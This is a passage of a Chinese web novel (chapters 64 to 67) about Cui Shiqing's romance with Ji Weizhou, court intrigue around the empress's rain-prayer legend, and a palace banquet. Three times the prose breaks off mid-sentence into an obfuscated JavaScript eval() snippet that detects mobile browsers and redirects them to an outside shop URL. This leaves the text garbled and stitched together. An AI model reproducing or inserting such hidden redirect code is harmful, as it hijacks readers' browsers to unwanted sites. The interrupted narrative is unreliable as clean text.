好在情爱上头的男女所说的誓言,大多是算不得数的。爱都不爱了,谁还能拿着随口而言的情话来讨债? 大不了、再多与几间铺子? * 过了几日,经过深思熟虑之后,崔时清召来了她的大掌柜,递与一本册子。 “照着这个办,暂时不必告诉他。” “……是。”崔竹目瞪口呆,第一次看到与郎君这么一大笔‘私房钱’的。 提前还了情债,悬了数日的心落了地,总算可以继续肆无忌惮的崔时清连眉眼都舒展开了,迫不及待便想要理直气壮地抱一抱纪危舟。 “下去吧。” “主子,与皇长子来往的掌柜来了信。” 崔时清愣了一下,想起在勉州应了赵洛行的那笔银子,蹙眉道:“一笔买卖而已,怎还没了清?” “已准备撤离勉州了,但京都却派人来,暗中与他们接触,想要得到皇长子与他们的来往账簿。” “账簿?想要什么样的账簿!” 崔竹低着头不敢回话。 崔时清站起身来,在屋内踱步了两圈,回头望着崔竹,心中有了决断。 “他们需要什么都应下,多分几次、一点点吊住他们。所有往来之物都要留好,该有的人证也不得马虎。” “主子,宫中之事与我们无关。” 世家不介入党争。 勉州之事涉及了州府募兵的军饷费用,现下又或许牵扯了嫡庶之争,一切都太过敏感,稍有不慎,或许会影响到崔氏主家中正的立场,崔竹不得不提醒。 崔时清摩挲着颈上的小竹笛,望着晦暗不明的天色,沉思了许久,弯唇笑道。 “既然找到我们的人,又怎会无关?” 64. 喜欢 因记挂着情债之事,心中不得劲,崔时清接连几日都不许纪危舟亲近。 直到拟好册子,暗中安排好纪危舟的后半生,她浑身松快了起来,也没有耽搁,脚步轻盈地来到后院的小池塘。 果不其然,即便生了闷气,此人也不曾耽误投喂金鲫鱼,专注的神色简直让人心生嫉妒。 “喂好了吗?” 看着缩成一团蹲在身边的女娘子,纪危舟面不改色地伸出手,把鱼饼分与她。 崔时清仰头瞅他,指尖戳了戳纪危舟的掌心,拨弄着他手中的碎饼子,故意装傻地逗弄道:“为何不说话?” 掌中丝丝痒痒的触感直通心尖,让纪危舟险些没控制住表情,绷紧了唇线才克制住扬唇的冲动。 “你呢?今日怎有空来此与我闲谈了?” 崔时清蹲得脚有点麻,刚顺势向后倾倒,便被一股力道托扶着,揽入温暖的怀中。 她弯起唇,双臂勾着纪危舟的脖子,抱怨道:“腿酸。” 下意识慌乱的动作,已经出卖了他,纪危舟也不继续装模作样,抄起小女娘的腿弯,把人抱了起来。 “回里屋?” “金鲫鱼怎么办?你还没喂好呢。” 崔时清故作体贴地提醒着,却把自己挂在纪危舟的身上,蹭了蹭他的颈窝,睁着一双清凌凌的眼睛瞅他。 纪危舟哪里看不出崔时清在使坏,但再如何不平,也只有闷声闷气地开口:“这几日吃得多了,饿一顿也不妨碍。” 崔时清眉眼微扬地睨了一下小池塘的傻鱼,满意地笑道:“那我们回屋吧。” “嗯。” 纪危舟应了一声,抱着她回了屋子,把人放在暖榻上,也不看崔时清直瞅自己的眼睛,默不作声便要离开。 看出他的意图,崔时清牢牢抱着纪危舟的脖颈不松手。 “要去哪儿?” “喂鱼。” 纪危舟嘴上说着这话,手掌依旧托扶着崔时清的脊背,以免她磕碰到矮几上。 崔时清知道他这是在闹脾气,想了想她这几日的冷落,心中莫名多了几分耐心,软声示好。 “天渐冷了,不如把鱼儿移到偏厅,免得在池塘边吹风受寒。” “移来此处只怕扰了你的清净。” 纪危舟仿佛没有听出崔时清的示弱,面不改色地拒绝,但却没了要走的意思,揽着纤腰的手掌也微微收紧了些许。 崔时清暗叹她把人气得不轻,眼睛转了转,在纪危舟的面颊上轻啄了几口,细数出自己的好来。 “怎会?我虽躲懒几日,但之前一向是陪着你投喂金鲫鱼的,养胖的鱼肚子是不是也有我一份功劳了?” “自是有的。”纪危舟低垂着黑眸,矜持地应了一句。 崔时清再接再厉,在他的另一侧面颊上又连亲了几口,慢声慢气道:“那你就不能独占我们的鱼儿!不如便现在,咱们用网子捞起来装入偏厅的盆池中,以后还一起把它们喂成胖头鱼。” 在这连番的亲哄下,纪危舟已没了脾气,眼睛一瞬不瞬地望着娇气的女娘子,刚要应好,却再次想起这几日崔时清冷情疏离的举动,心底不免有些酸涩。 “当真不会厌烦我?”他问。 崔时清眼皮一跳,连忙矢口否认:“我可没有说过这话!” “你嘴上未曾言说,却视我如洪水猛兽,不正是厌烦之意吗?”纪危舟神色低落地说。 这还不是因为心虚,怕被你追着讨债吗?! 但崔时清不想承认自己心有愧疚,眉眼微动,转而惴惴不安地说道:“这不是知道了贵妃和陛下之事,对于情情爱爱有些后怕吗?” 看着狡诈的女娘,纪危舟暗叹了一声,把她抱在腿上坐着,一下下地摩挲着如墨泼过的乌发,嗓音低低地问。 “软软说的是贬妻为妾?” “你也知道?”崔时清圆睁双目,微瞪着他。 “有所耳闻。” 崔时清暗戳戳地斜了他一眼,马上又泄了气,无精打采地靠在纪危舟的肩上,掰弄着他的手指。 与自己不同,纪危舟的指骨棱角分明,青筋微微鼓胀,蕴藏着力量。 漫不经心地扣弄着指腹的薄茧,她问:“你可知道内情?” 感受着划过掌下的柔软的手指,纪危舟反问:“软软很想知道?” “……”这厮果然知道些什么。 崔时清微微眯着眸子,打量着面前的郎君。 纪危舟坦然地任其端详片刻,才无辜道:“软软这是何意?” “想知道!快说!”崔时清揪着他的衣襟,催促着。 纪危舟顺势低头,在崔时清的发顶亲了一下,目光落于从窗棂缝隙钻进来的几缕彩光上。 “你可知先太子?” 崔时清舒舒服服窝在纪危舟的怀里,回忆着,答道:“先皇的嫡子,生下便册立为皇太子,但此人平庸无能,最后是……” 等了须臾,纪危舟接话道:“德不配位以至于惹怒上苍,降下天火,先太子与东宫上下人等皆葬身火海。” 崔时清点了点头,蓦然浑身僵硬,表情透出一丝怪异。 从前对于先太子之事她并没有觉得不妥,但时至今日再次听到这‘天怒而亡’的下场,却再不能理所应当、平静地看待这场天火。 “然后呢?”崔时清低声问。 纪危舟眸色微沉,继续说:“那时正逢干旱,灾情严重,连续数月不曾降过一滴雨水,民间已有先太子无德不堪为储君、导致天灾横行的风声传出,东宫天火更是印证了这些传闻。” 崔时清皱起了眉心,无法忽略其中暗藏操控的痕迹。 “东宫覆灭,先皇病重不起,在众朝臣的推举下秦王监国,天怒却未平息,依旧滴雨未落。” 纪危舟抱紧了怀中的女娘,深吸了一口气,又道:“此时,先太子妃、东宫‘唯一’的幸存者,脱冠素衣断食断饮三日,祈求降雨。秦王动容,便对东宫废墟立誓,先太子妃如能求得雨水,他日登基便册立其为皇后。” 崔时清攥紧掌心,轻声道:“最终他们之间无私的仁心感动了上苍,降下甘霖?” “是,帝后的贤文与慈德之名,亦由此而来。”纪危舟扯动唇角,讥讽地笑了笑。 “本以为皇后娘娘是弱女子,原来是我误解了。” 在那样的绝境中,却能为自己拼来锦绣前程、一人之下的地位,这样的心性和筹谋,世间有几人可及? 崔时清惊叹之余,不由把目光投向纪危舟。 他本该是皇后一党。 涉入党争之人,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150966|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非一腔热血的纯臣、便是心机深沉的弄权之辈。 哪怕崔时清再如何讨厌、贬低曾经的纪危舟,还是不能把他归于后者。 兴许那个纪危舟有自己的思量,选择了皇后和赵晟真。 但不知怎么的,崔时清一时有些分不清她的纪危舟、和皇后党的纪危舟的区别,在心底总有一个声音在说。 ——纪危舟不该认可皇后,他应当与自己站在一起。 崔时清思绪有些混乱,莫名又想起了那个无法抹去的梦境。 那个梦,要是真的。 或许纪危舟终是看清了赵氏子孙的不堪用,因而造反称帝? 崔时清仰着脑袋,直勾勾瞅着他的眸子。 他可以做到的。 但、他真的想这样做吗? 或许这是天道维护他的原因? 成为大帝,一统九州八荒、结束百年战乱,这就是纪危舟的天命。 而她作为阻挡天命之人的拦路石,是天道所不容的存在,只能消失。 心口突如其来闷痛着,在无法抑制的恐慌下,崔时清面色发白地抱紧了纪危舟,像是坠落悬崖的人,耳边俱是山风咆哮,但双手仍然止不住地向上探求着,企图触碰到什么,可以减缓下坠的速度,延迟哪怕一刻的呼吸。 “不要害怕,我都在。” 大掌用力揉捏着崔时清的身体,纪危舟重复着,安抚颤抖的女娘。 “都在?”崔时清怔怔然地看着他,呢喃道。 “对,我会一直在你身边。” 轻捏起崔时清的下颌,纪危舟低垂着眼帘,像是虔诚的信徒一般,亲吻她的眉眼、鼻尖、面颊、唇瓣,亲吻过每一寸皮肤。 在时轻时重的啄吻下,崔时清的眼神有些迷离,心神却无比清醒。 她走上了死胡同,没了去路,但是却不能、也不想回头。 什么天道之子、天命大帝,都与他们无关。 不论那个梦境是真是假,不论她的结局如何凄惨,这一世的纪危舟都是她的,只能是她的。 崔时清捧着纪危舟的面颊,额抵着他的额间,桃花眼含情潋滟地望着他,缱绻轻唤。 “三郎。” “嗯?”纪危舟的呼吸急促又凌乱。 “你有入庙堂治世的野心吗?” “软软希望我有吗?”纪危舟嗓音沙哑。 崔时清像是任性的稚童,嘟囔道:“不希望!我想要三郎只看着我,陪着我。” “好,只看着你、陪着你。”纪危舟扬唇笑着,眼神里全是纵容与宠溺。 崔时清撅嘴在他的唇上啄了几下,眼睛晶亮又透着几分不确定地望着纪危舟。 “不悔?” “有你,万事足矣,我此生再无所求。” 鼓噪的心跳声一次次敲击着他们的身体,感受着彼此温润的气息,注视对方,藏了太多动容的眼神湿漉漉的,勾得心尖都温痒难耐着。 “喜欢你。”崔时清忍不住低叹道。 “什么?再说一遍!软软、再说一次吧!”震惊过后是狂喜,纪危舟痴缠着他的女娘,索要爱意。 脱口而出的倾诉让崔时清浑身发烫,无处闪躲之下,只得把自己的唇送了出去,将吵嚷的声音都吞咽入腹,掩盖她蜷到脚趾尖的羞怯。 65. 害怕 坦诚并没有想象中的困难,一声由衷的‘喜欢’脱口而出后,崔时清诚实面对心中的情愫。 她确实喜欢上了纪危舟。 喜欢、便喜欢吧。 崔时清也不纠结,毕竟这一世和之前不同,他们可以在一起。 想通以后,她不再克制自己。 什么上等、次等,在郎君绮年俊逸的好皮囊之下,及时行乐方不辜负九世初得的心动。 如同卸下了一道枷锁,崔时清越发沉迷于纪危舟的美貌中,隐隐还有了色令智昏的倾向。 瘫在马车上,崔时清托腮望着纪危舟,“连着看了几处宅子了,就没有中意的?” “没有。” 崔时清闻言,不由暗叹了一口气。 原是想着以后终要与纪危舟合离,婚后留在国公府中,也不必费劲腾挪住所。 但计划赶不上变化,她的心境已变,再受了纪危舟的撺掇,距离婚期不到一月,却和本该避讳相见的未来夫君着急忙慌地看起宅子来。 平日随和的纪危舟,在挑选宅子上百般挑剔,以至于他们连跑了几日都没定下居所。 “此事便由你全权做主吧。”崔时清累得够呛,想当甩手掌柜了。 “只怕我选的宅院,不合软软的心意。”纪危舟眉心微蹙,忐忑地看着她。 崔时清想也不想道:“挑你喜欢的!” 纪危舟面色为难,“但软软的要求——” 盯着眼前这双如星子微闪的黑眸,崔时清默了默,被纪危舟口是心非的模样气得连翻白眼。 她的要求过分吗? 她不过是想要离国公府近点,方便她随时回去,陪外祖母和舅父同用茶饭。 这小小的要求,在纪危舟的吹毛求疵下,累得她直想放弃。 “我的要求不重要。”崔时清有些赌气地回道。 纪危舟歪头问:“软软在生我的气?” “没有!”崔时清语气幽怨地否认。 纪危舟把她抱在膝上,低头捕捉崔时清的眼神,直到她心软了些许,愿意看自己,才问:“软软中意柳宅?” 崔时清气呼呼地反问:“柳宅有什么不好?” 柳宅距离国公府仅有一条街,还满足了这几日纪危舟所提的一切要求,简直就是他们的梦中宅邸,然而这厮却以风水为由给拒了! 风水!他什么时候会这玩意了?! 纪危舟轻抚着崔时清的脊背,为她顺气的同时,温声解释。 “柳宅是不错,但隔壁住的是刑部尚书吴成辉,是痴迷刑讯逼供的酷吏,还在家中秘设了一处刑房,专门处置落于手中的敌手。” 崔时清微蹙眉心,听完也觉得有些晦气,但身上疲乏,心里也总有一口气顺不下去,便嘴硬道:“柳宅与吴家隔了一片小竹林,刑讯逼供与我们何干了?” “自是有干系了。”纪危舟把玩着崔时清的手指,在她反驳前,又道,“若是我们长住在此,以后诞下的小儿女免不得要与左右邻里往来,他们家风不好,教坏了小儿女当如何?” “……”崔时清耳根发烫,受不住此人的厚颜,但也说不出不与他生小儿女的气话,只好义愤填膺地指责,“你怎可因为吴成辉的缘由而心存偏见呢?” 纪危舟颇为无辜地眨着眼睛,一时不知要怎么解释。 这家人骨子里的残虐是祖传来的,一双儿女在学堂中便以凌虐寒门子弟为乐,而后更是在其父留下的刑房暗室里虐杀了不少人,其中不乏同窗故友,只因一时不快便痛下杀手,事后埋尸于柳宅一墙之隔的竹林下。 要是提前想起隔壁住的是吴家人,他根本不会选择来此看宅子。 纪危舟的沉默助长了崔时清的气焰,她昂首挺胸,恶声恶气地瞪着他,“我心肠也不好,最爱欺负人了!以后你是不是也要防着我?” 这么说是有些无理取闹,但是崔时清还是忍不住多想。 非得说家风,她这‘家风’才是众所周知的糟糕,若是人人都像纪危舟这般,以后她的小儿女不是交不到友人了?! 这多可怜呀! 而且…… 日后这厮会不会后悔,娶了她这样恶名昭彰的女娘子? 崔时清瞟了一眼纪危舟,越想越心酸,眼底都泛起了涩意。 在委屈的眼神下,纪危舟的心不由揪了起来,暗骂着吴成辉和挑选柳宅的江南,双手抱着怀中的女娘,连声安抚着。 “软软想什么呢?有了软软这样漂亮又机敏的阿娘,我们以后的小儿女定是最好的。” 崔时清抚了抚自己的好容颜,散去了那股莫名而来的委屈,倔强又冷傲地扬着下巴,咄咄逼人道:“你就是害怕我教坏了你的小儿女!” “没有!冤枉!”纪危舟喊完冤,又惶惑地小声道,“软软,我们不是在说吴家吗?” 崔时清怔然一瞬,抿了抿唇,也意识到她在钻牛角尖。 但第一世被纪危舟训斥的场面还记忆犹新,眼下被翻出来,崔时清登时有些焦虑。 这桩婚事是草率定下的,她本不欲长久。 时移世易,一切皆不相同,或许他们都还没有准备好相守一生。 “不如,我们再等等、等……” 纪危舟捧起崔时清的面庞,看着闪躲的桃花眼,“软软想不想嫁与我?” 崔时清咽了口口水,望着纪危舟,思考了片刻,说:“想。” 不知何时开始,在耳边一遍又一遍地念叨下,她也期待起属于他们的十月初二。 “但是,却有些害怕?”纪危舟抵着她的额头,低声问。 “……”害怕,但崔时清不想承认。 “我很害怕。”纪危舟没有等她的回答,看着微微睁大的眼眸,继续说道,“软软说要与我一个家。我很欢喜、又很害怕。担心你我的婚服、婚仪,担心你我的宅院、布置,担心你我的小儿女……最担心的是没有给软软最好的、最称心的,不止是三两日的称心如意,我想要给你长长久久、生生世世的顺心顺意。” 崔时清目不转睛地望着纪危舟,心微微热烫着,连眼眶也有些温热。 “你是神棍吗?还能掐指算出我的生生世世了?” “不要取笑我了。”纪危舟无奈道。 崔时清看着纪危舟这哭笑不得的模样,来了兴致,勾着他的脖子,凑上前戏弄道:“什么都害怕,我有理由怀疑你会逃婚啊!” “分明是你不敢成婚。”纪危舟小声反驳。 崔时清翻弄起他的衣袂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183911|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“还会顶嘴了?看来也不是没有胆子呀,我找找,藏在哪里了?” 纪危舟被柔软的双手拨弄起了燥火,握住她的腕子,软声求饶,“软软暂且手下留情,还有二十日,我怕熬不住了。” “我相信你,你一定可以的!”崔时清眨了眨眼睛,坏笑地鼓励他。 纪危舟不想接住这顶高帽,神色蔫蔫地不吭声。崔时清伏在他的肩上痴痴笑了起来,偏头看着利落的下颌线,冒出来的青色胡茬,慢声开口。 “真的不要推迟吗?” “不要。”纪危舟立即拒绝。 崔时清依偎在纪危舟身上,找了找他的手,直到握紧拇指。 “不是害怕吗?也许我们可以延后几个月,一切都准备好了再成婚,或许便不会如此慌乱了。” “不要。” 纪危舟再次拒绝,而后似是心有不安,搂紧了崔时清,正色道:“我们不延期。” 崔时清忍俊不禁地笑着,“如此执拗,要是后悔了怎么办?” 扶正了崔时清的身体,纪危舟专注地望着她的眼睛,开口说:“因为在乎,才会不安。” 崔时清凝视着他,认真听着。 “不论如何筹备,难免还是会有不平,但我愿意背着你走往坦途,绝不后悔。” 在这样的甜言蜜语下,崔时清的心鼓鼓胀胀的,理智告诉她不必太过投入,身体却不得自已地向纪危舟倾靠着。 感受到自己的矛盾,崔时清忍不住扬起头,在淡色的唇上轻咬了一口,说道:“一直背着我?不怕累呀?” 纪危舟攒眉思忖道:“这好像是我唯一不怕的。” “傻瓜。”崔时清自己也不知她是在骂谁,但很快释然,耸了耸肩道,“好吧,你想背嘛,便让你背着吧。” “软软真大方。”纪危舟笑着说。 “还行吧。”崔时清抿唇捶了捶纪危舟的胸口,嗔怪道,“距离国公府两条街的都看了遍,接下来是不是要越挑越远了?” “或许会远一些。”纪危舟慎重地回答。 崔时清斜视着纪危舟,末了狐疑地问道:“你不会是故意的吧?” “不会。”纪危舟淡然答道。 崔时清眯起眼睛,追问:“一点私心也没有?” “……有一点?”纪危舟敛眉道。 “好啊,狐狸尾巴露出来了!”崔时清掐着纪危舟的面颊,好不怜惜地揪了几下,凶神恶煞道,“说说,你想把我藏到何处?” 纪危舟低垂着长睫,任由崔时清蹂躏了片刻,乖顺的模样惹来了更加肆无忌惮地戏弄,直到额间沁出薄汗,他红着耳根整理好松散的衣襟。 “我在城南护城河边购了一处宅子。” “很好嘛,与国公府一南一北哦!很适合把我藏起来啦!”崔时清皮笑肉不笑。 纪危舟的眸子里透着股少有的羞涩,修长的手指划过崔时清的指尖,感受到指腹下的温软,喉结微微滑动了一下,勾住了她的手指,紧紧不松。 “看一眼?若不喜欢,我便再也不提。” “……好吧,看一眼!我很挑剔的!” 日落以后,很挑剔的崔时清回了国公府,心满意足的同时,也带回了装着城南宅子的房契匣子。 66. 狂热 天气渐冷,崔时清越发不爱动弹,无须出门时便爱蜷在暖榻上,吃吃喝喝、自找乐子逗趣。 “春花在赵郎君跟前换了三次茶,丢了一条帕子,赵郎君却看也不看她,只命小厮把帕子还了回去,惹得她在屋子里哭了一宿。” “你们呢?丢了几条帕子了?”崔时清掰扯着手中的绳子,戏笑道。 “奴婢的帕子都在屋子里晾着,一条没少。”若兮坐在绣凳上,噙着笑把崔时清需要的彩绳递与她。 昨日是纪舒明的生辰,赵嬷嬷不忘旧主,请了状元养子赵晋登门送礼,让他很受用,当即把人留下用饭,惹得国公府中的婢子芳心暗动,吵吵嚷嚷闹了一日。 把手中的绦子编了个万字结,崔时清提溜在眼前赏了几眼,端起茶饮子喝了几口。眼睛扫过低头拾掇彩绳的玄鱼,随口问道:“怎么不说话?” “主子想要什么?”玄鱼慌乱地捧起竹篮里的绳子。 看着她魂不守舍的模样,崔时清伸出手指敲了敲膝上的竹篮,弯唇笑问:“你也送帕子了?” “主子怎么知道?!”玄鱼惊诧地瞪着眼睛。 若兮扑哧一声,掩唇偷笑。 在小婢子忐忑的目光下,崔时清瞥了一眼若兮,后者见状收起了笑,挺直腰板端端正正坐着。 “你把帕子给赵晋了?” 玄鱼点了点头,又摇了摇头,红着脸解释:“是小花跑去了园子,把赵郎君的衣袍弄脏了,帕子、是与他擦灰的。” 瞅着面颊红扑扑的,好似熟透果子惹人垂涎的小婢子,崔时清面色如常地问道:“他可有恼怒?” “赵郎君很好,还帮我寻回了小花。”玄鱼的水眸微亮,透着小女娘的羞涩。 赵晋是个清冷的性子,怎会无故相帮? 崔时清好奇道:“你们是旧故?” 玄鱼鼓着面颊思考了片刻,“奴婢见过赵郎君几面,但那时还小呢,后来他便外出求学了,算不得旧故的。” “怎么不算了?春花在嬷嬷离府时见了他一面,不也打着旧交之名叙话吗?”若兮不以为然。 玄鱼窘迫地抱紧了怀中的竹篮子,不敢接茬,更不敢多思。 在桑麻之后,崔时清有些拿不准身边婢子的心思,而玄鱼和赵晋更是身份有别,她不想撺掇玄鱼为妾,便没有继续过问。拾起绦子和一枚旧玉,在眼前比划了几下。 “下一步如何做?” 玄鱼连忙探身,装起认真地看着主子编织挂在佩玉上的绦子。 “主子可以把珠子缀上去了。” “哦,这样吗?” 崔时清揪着眉毛,用细绳穿过玉珠,再把旧玉串上,结绳固定好,佩玉的万字结丝绦便已完成。 “主子的手真巧。”若兮吹捧道。 “好看的。”玄鱼连连点头。 把更换了新绦子的佩玉悬在半空,摇晃了几下,崔时清眉眼弯弯笑着。 “是不错,我可真厉害。” “主子这般用心,公子定会欢喜的。” 崔时清把丝绦缠在指尖,嘴硬道:“谁说是给他编的了?” “是奴婢错会了。”若兮讪讪笑着。 玄鱼不在状况地歪着脑袋,纳闷道:“这是公子的佩玉呀。” 若兮垂着眸子,没有吭声。 她与玄鱼本没有深情厚谊,现下桑麻不在院里伺候,贴身婢子仅她们二人。亲疏有别、自是希望得宠,故而见玄鱼犯糊涂,也无提点之心。 “你真机灵呀。” 崔时清没好气地斜乜着玄鱼,后者却欢欢喜喜地应下。 对于小婢子的迟钝,崔时清习以为常,便懒得与其计较,把玩起掌心的佩玉。 寻常的青玉,比起之前被她取走的司南佩要寒碜许多。 和田白玉温润无瑕,更适合他。 私库里有几块玉料,让人取出来? 他喜欢什么图纹花样呢? 想了半天也没个头绪,崔时清不由轻叹了一声,若兮见状思忖着温声开口。 “主子是要随身佩戴,还是存入匣中?” “把妆奁上的香袋取来吧。” 崔时清把绦子卷成圈,放入熏过竹香的荷袋中,双手捏着犹豫了一下,把荷袋系在了腰间。 “让人在院外候着。” “是,奴婢这便去。” 若兮明白崔时清的话外之意,立即起身出门,玄鱼也跟着忙活起来,收拾着矮几上的彩绳剪子。 看着还透着稚气的小婢子,崔时清忍不住提醒道:“赵晋可说了何时归还帕子?” 玄鱼懵然道:“似乎未说。” 崔时清抿了抿唇,正欲多说几句,若兮匆匆走了进来。 “主子,教坊司的许娘子来了,说是有事相求。” 看着若兮掌心的南海珠子,崔时清靠在凭几上,点头示意。 直到耳边传来动静,崔时清也把视线从南海珠子上移开,落于眼前这位不卑不亢的魁首娘子身上。 “许娘子怎么来了?” 许悯儿声调悦耳又平和地开口道:“县主曾经说过,若奴家有求,可以凭此信物来见您。” “唔、对,你要什么?”崔时清漫不经心地整理着衣袂。 扫了一眼婢子们,许悯儿轻声问:“不知可否屏退左右?” “恐怕不便吧?”崔时清皮笑肉不笑。 “以县主与奴家的交情,有些私话委实不便为外人所知。”许悯儿神情语气间比之她们初见时,多了几分底气。 崔时清想起宫中的母子二人,扯了扯唇角,指节轻叩矮几,同意了她的要求。 “你们下去吧。” 若兮领命,与玄鱼退出里屋,守在门前。 “多谢县主。” 崔时清神色淡漠地瞅着她,“许娘子谢早了,我恐怕帮不上你什么。” “奴家不会令县主为难。”许悯儿缓步上前,在距离崔时清一步之遥时停下了脚,“奴家只想讨回县主从教坊司取走的旧物。” “我听不明白。”崔时清装起傻。 “血书已见天日,罪人多食了恶果,奴家亦不欲追问,唯有心爱的旧物旁落别处,心绪难安,还请县主怜惜,勿令奴家夜不能寐而生了怨怼。” “这是威胁了?”崔时清直视着许悯儿,眼睛里没有一丝情绪。 “不,这是请求。”许悯儿复又把姿态放得很低,恭顺地屈了屈膝。 崔时清握着金剪子,轻轻推动矮几上的珍珠,看着它滑落,在地上激荡了几下,渐渐平静、无声。 “我这里不是善堂。” 自从知道她被许悯儿戏耍之后,她们之间便没有任何余地,更别提什么‘珍珠之约’。要是识趣,此人便是再如何膈应,也不该拿着这颗珠子来招惹她。 “县主想要什么?”许悯儿站直身体,问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196896|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔时清反问:“你还能给我什么?” 许悯儿沉吟片刻,才道:“听闻王家人得罪了县主,有个消息或许您会有兴趣。” “说说。”崔时清看着许悯儿,面上勾起兴味的笑意。 “王家嫡女的未婚夫婿阁远侯世子服用寒食散多年了。” 崔时清皱眉道:“本朝禁用寒食散,江相明是如何得来此物的?” “玉石?”许悯儿温柔地笑问。 “给你。”崔时清说完,扬着下巴打量着许悯儿,末了又道,“这是六皇子送的?” 这种巴掌大小的玉石是多年前西域进贡青花墨玉,拢共只有一箱子,都分与了几名皇子。 崔时清也从赵洛行手中赢来了几颗,故而看到玉石上的刻纹,再亲眼见到许悯儿以身护着赵晟真,便有了猜想。 许悯儿的表情不太自然,甚至还扭曲了一瞬,但很快又恢复平静,笑盈盈问道:“县主识得此物?” 崔时清没有回答,再问:“你是为了他放弃林氏之名的?” “县主以为不值得?”许悯儿收起了笑。 不值得,这样的‘定情信物’,御花园的鱼池里就有不少。 把玉石要回去,当面与赵晟真追忆往昔,这位嫡皇子会记得送过此物吗?恐怕很难。 崔时清如此想,却也没有说出口,只道:“值不值得,我说了不算。” 许悯儿自嘲地勾了勾唇角,看着崔时清的眼睛,说道:“奴家钦慕六殿下,但是更敬仰皇后娘娘。” 崔时清怔了一瞬,看着许悯儿宛若虔诚的信徒,眼眶湿红,还暗藏着一丝狂热。 “你说的是祈雨?” “是!祈雨!那时天降大旱饥荒遍野,若非九天神女下凡,再现神迹,如何能拯救过无数苍生!” “六年前西北大旱,怎么未见神女求雨?”崔时清瞥了一眼许悯儿。 “这都是因为娘娘伤了身子,才无法庇佑苍生的!”许悯儿尖声反驳。 “哦?皇后娘娘身体不好吗?我没有听说此事呀。”崔时清慢声开口,唇边噙着讥笑。 许悯儿如同被戳中了什么,顿时激动了起来,在她面前来回疾步走着,焦虑又愤怒地瞪着崔时清。 “你如何知道娘娘的慈心!当年东宫天火之时,娘娘刚诞下皇太孙便痛失夫君与幼子,为了苍生百姓,不顾自身祈雨求福,折损了身子,这才感动上天!” “皇太孙?”心中似有琴弦震颤了一声,崔时清呢喃着,莫名有丝慌乱,她直视着许悯儿的眼睛,又道,“你怎么如此清楚二十年前的事情?” 许悯儿冷静了下来,意味深长地望着崔时清,声音娇媚地说道:“奴家不是说了吗?奴家敬仰皇后娘娘,自然会对娘娘之事如数家珍了。” 注视着彼此,她们无声对峙了片刻,崔时清从暗匣里找出许悯儿的玉石,握在手中却没有立刻交与她。 “寒食散?” “是从宫里散出来的,其他奴家便不知道了。” 宫里、淑妃? 崔时清没有什么头绪,便把玉石还与她。 “多谢县主。”许悯儿看着重归于她的玉石,勾唇笑着。 崔时清看不得许悯儿愈发肆无忌惮的神态,拿着帕子拭手,“无须客气,许娘子贵人事忙,且自去吧。” 看着许悯儿离去,崔时清独自坐在暖榻上,不知过了多久,拿起颈上的小竹笛,神色有些迷惘。 67. 宫宴 诞节宫宴,达官贵人齐聚,为贤文帝拜贺祝寿。 宴席设在金临台中,从这座新建的高楼殿宇眺望远处,可把皇城皆收眼底。 众人登高而上驻足于栏前,有仿若神明俯瞰众生之辈,还有颤手抚过金玉铸造的楼宇、低头注视脚下千万贫民之人。 金临台是为贤文帝登高拜仙之用,但之前几世建成不久,便毁于一场大火之中。 脚踏金砖而过,崔时清看着金临台中的陈设,不由感慨帝王敛收天下钱财的能力。 “时娘,你看这儿,这颗夜明珠可真大!”蔡梦期指着悬吊于殿中的巨型夜明珠,惊叹不已。 崔时清仰头望着头顶的明月,呐呐道:“还是我太穷了。” 蔡梦期扑哧一声笑了出来,“你穷、也是应该的。” “怎么就应该了!”崔时清不服气。 这一世她为挣钱费了许多功夫,案几上堆叠的账册就没落下过,连算盘都拨坏了好几个,明明如此努力了,却比不得成日窝在皇宫里炼丹花钱的皇帝富有? 没有天理了! 李昶四顾了一圈,靠过来悄悄说道:“陛下为了建造这楼子,把国库都掏空了,下边的妃子连燕窝都吃不起,穷死啦!根本比不得姑奶奶富裕!” “哪个妃子吃不起燕窝?”蔡梦期做贼一样,缩成团挤在李昶跟前问道。 妃子和寻常淑仪美人不一样,不说宫俸,混到这个位子至少有些底子在的。 故而崔时清也好奇得紧,竖着耳朵听着。 李昶的眼睛滴溜溜转了转,用气音低低答道:“淑妃。” “真的假的?不应该呀!”蔡梦期吃惊道。 淑妃虽然是阁远侯的庶妹,但至少背靠侯府,还有一儿一女,不应当过成这样。 “你还不信我吗?”李昶有点生气,瞪着蔡梦期正要骂她,看到崔时清也在听,便也没有摆谱,直言道,“前几日陛下议政时三公主跑来哭诉,我家老子特意查了户部的账簿,才知道国库空虚至此。” 